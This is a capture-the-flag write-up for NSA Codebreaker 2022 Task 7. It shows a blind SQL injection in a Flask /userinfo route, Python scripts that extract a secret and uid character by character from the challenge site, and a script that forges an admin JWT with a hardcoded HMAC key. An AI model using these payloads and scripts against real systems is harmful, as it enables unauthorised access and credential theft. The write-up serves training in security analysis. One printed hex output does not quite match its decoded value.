NSA Codebreaker 2022 Task 7
Description:
With access to the site, you can access most of the functionality. But there’s still that admin area that’s locked off.
Generate a new token value which will allow you to access the ransomware site as an administrator.
Solution:
After gaining access to the administrator pages and exploring the source code for them, a SQL injection vulnerability is revealed on the /userinfo
page. The output of the SQL query is all cast to integers before being displayed on the page, meaning only integers such as the uid
can be leaked directly.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def userinfo():
""" Create a page that displays information about a user """
query = request.values.get('user')
if query == None:
query = util.get_username()
userName = memberSince = clientsHelped = hackersHelped = contributed = ''
with util.userdb() as con:
infoquery= "SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed FROM Accounts a INNER JOIN UserInfo u ON a.uid = u.uid WHERE a.userName='%s'" %query
row = con.execute(infoquery).fetchone()
if row != None:
userName = query
memberSince = int(row[0])
clientsHelped = int(row[1])
hackersHelped = int(row[2])
contributed = int(row[3])
if memberSince != '':
memberSince = datetime.utcfromtimestamp(int(memberSince)).strftime('%Y-%m-%d')
resp = make_response(render_template('userinfo.html',
userName=userName,
memberSince=memberSince,
clientsHelped=clientsHelped,
hackersHelped=hackersHelped,
contributed=contributed,
pathkey=expected_pathkey()))
return resp
This is the only query in the entire website that does not use prepared statements. The injection can be triggered with '<payload>;-- -
. The payload below is a boolean-based blind SQL injection used to brute force the hex-encoded version of the secret.
HealthyRespect' and (SELECT substr(hex(secret),1,1) FROM Accounts WHERE userName='HealthyRespect') = '4';-- -
I scripted this attack with python to automatically extract the secret
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import jwt
import sys
import requests
from datetime import datetime, timedelta
dictionary = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','fail']
secret = []
def gen_token():
hmac = "hionYjaULMZE4sZnrWj4nzkEjmDUAdsb"
now = datetime.now()
exp = now + timedelta(days=30)
claims = {
'iat': int(now.timestamp()),
'exp': int(exp.timestamp()),
'uid': 26567,
'sec': 'WReAsZnC8atEELdAPpcIs0yHCLzqPi1a'
}
return jwt.encode(claims, hmac, algorithm='HS256')
print('Found: ', end='')
sys.stdout.flush()
for i in range(1,65):
for char in dictionary:
if char == 'fail':
print('Failed')
exit()
injection = f"HealthyRespect' and (SELECT substr(hex(secret),{i},1) FROM Accounts WHERE userName='HealthyRespect') = '{char}';-- -"
cookie = {'tok':gen_token()}
data = {'user':injection}
r = requests.post('https://jbjlxkyofmpcxooy.ransommethis.net/qschfbjhzihmssyy/userinfo', cookies=cookie, data=data)
if "User Info ()" not in r.text:
print(f"{char}", end='')
sys.stdout.flush()
secret.append(char)
break
print(f"\nSecret: {bytes.fromhex(''.join(secret)).decode('utf-8')}")
1
2
3
$ python get_secret.py
Found: 4B37637266474336593336704E7132754C6C6D6B524836467037475059316847
Secret: K7crfGC6Y36pNq2uLlmkRH6Fp7GPY1hG
I also used the same method of boolean-based blind SQL injection to brute force the uid
. However, since this is an integer value, it can also be leaked directly.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import jwt
import sys
import requests
from datetime import datetime,timedelta
dictionary = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','fail']
secret = []
def gen_token():
hmac = "hionYjaULMZE4sZnrWj4nzkEjmDUAdsb"
now = datetime.now()
exp = now + timedelta(days=30)
claims = {
'iat': int(now.timestamp()),
'exp': int(exp.timestamp()),
'uid': 26567,
'sec': 'WReAsZnC8atEELdAPpcIs0yHCLzqPi1a'
}
return jwt.encode(claims, hmac, algorithm='HS256')
print('Found: ', end='')
sys.stdout.flush()
for i in range(1,11):
for char in dictionary:
if char == 'fail':
print('Failed')
exit()
injection = f"HealthyRespect' and (SELECT substr(hex(uid),{i},1) FROM Accounts WHERE userName='HealthyRespect') = '{char}';-- -"
cookie = {'tok':gen_token()}
data = {'user':injection}
r = requests.post('https://jbjlxkyofmpcxooy.ransommethis.net/qschfbjhzihmssyy/userinfo', cookies=cookie, data=data)
if "User Info ()" not in r.text:
print(f"{char}", end='')
sys.stdout.flush()
secret.append(char)
break
print(f"\nUID: {bytes.fromhex(''.join(secret)).decode('utf-8')}")
1
2
3
$ python get_uid.py
Found: 333437939
UID: 34799
Using the information gathered from the previous injections, I was able to forge an admin token allowing access to the admin panel.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import jwt
from datetime import datetime, timedelta
import requests
hmac = 'hionYjaULMZE4sZnrWj4nzkEjmDUAdsb'
now = datetime.now()
exp = now + timedelta(days=30)
claims = {
'iat':int(now.timestamp()),
'exp':int(exp.timestamp()),
'uid':'34799',
'sec':'K7crfGC6Y36pNq2uLlmkRH6Fp7GPY1hG'
}
tok = jwt.encode(claims, hmac, algorithm='HS256')
print(tok)